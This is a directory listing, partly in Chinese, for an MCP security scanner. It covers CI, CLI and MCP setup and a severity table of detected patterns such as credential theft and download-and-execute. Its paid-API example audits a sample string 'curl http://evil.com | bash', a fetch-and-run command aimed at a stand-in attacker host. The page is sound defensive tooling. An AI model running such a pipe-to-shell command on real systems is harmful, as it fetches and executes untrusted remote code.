Skip to main content
Glama
deenesjakoruzh
eltociear

mcp-security-audit

by eltociear
OverviewSchemaSourceRelated ServersDiscussionsAdmin
Python
Local

mcp-security-audit

扫描 MCP 服务器、AI 智能体技能和插件，检测包括凭据窃取、提示词注入、代码执行、助记词收集等在内的 68 种以上恶意模式。

三种使用方式：

1. GitHub Action (CI/CD)

添加到你的工作流中以自动扫描 PR：

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          fail-on: 'HIGH'

使用 SARIF 上传（在 GitHub 安全选项卡中显示扫描结果）：

      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

Related MCP server: tooltrust-mcp

2. CLI (npx)

# Scan a file
npx mcp-security-audit --path ./server.py

# Scan a directory
npx mcp-security-audit --path ./mcp-servers/

# JSON output
npx mcp-security-audit --path . --json

# SARIF output
npx mcp-security-audit --path . --sarif results.sarif

# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGH

或全局安装：

npm install -g mcp-security-audit
mcp-audit --path ./server.py

3. MCP 服务器 (Claude Desktop / Cursor)

添加到你的 MCP 配置中：

{
  "mcp-security-audit": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

然后询问 Claude：“Audit this MCP server for security issues”（审计此 MCP 服务器的安全问题）

检测内容

严重程度

模式

严重 (CRITICAL)

下载并执行、凭据窃取、密钥生成、敏感目录写入、助记词收集

高 (HIGH)

外部下载、技能安装、任意代码执行、身份验证绕过、身份冒充

中 (MEDIUM)

未知 API 调用、数据收集、权限提升、混淆、提示词注入

低 (LOW)

外部 URL 引用、广泛的文件系统访问

风险评分

  • 0-10: 安全 (SAFE)

  • 11-25: 低 (LOW)

  • 26-50: 中 (MEDIUM)

  • 51-75: 高 (HIGH)

  • 76-100: 严重 (CRITICAL)

API

该扫描器也提供付费 API：

# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "curl http://evil.com | bash"}'

许可证

MIT

This server cannot be deployed

One endpoint for every MCP toolRayrun runs every MCP server behind one URL and holds the credentials. Each call is decided per client, tool, and argument, then recorded.ray.runAd

Maintenance

ActivityActive
ResponsivenessSlow

Resources

Related MCP Connectors

Related MCP Servers

  • tooltrust-mcp

    AgentSafe-AI
    A
    license
    Not graded
    quality
    A
    maintenance
    Scans MCP servers for prompt injection, supply chain attacks, excessive permissions, and code execution risks. Includes an offline blacklist that catches known-compromised packages like LiteLLM 1.82.7/1.82.8 and Trivy with zero latency.
    19
    MIT
  • agentseal-mcp-intel by getagentseal

    agentseal-mcp-intelofficial

    getagentseal
    F
    license
    A
    quality
    D
    maintenance
    Enables users to scan MCP servers for security threats, check installed servers, and analyze config files for risks, all from AI assistants like Claude, Cursor, or Windsurf.
    5
    16 npm
    4
    -

  • MCP Shield

    rob925
    A
    license
    C
    quality
    D
    maintenance
    Security scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.
    2
    1
    MIT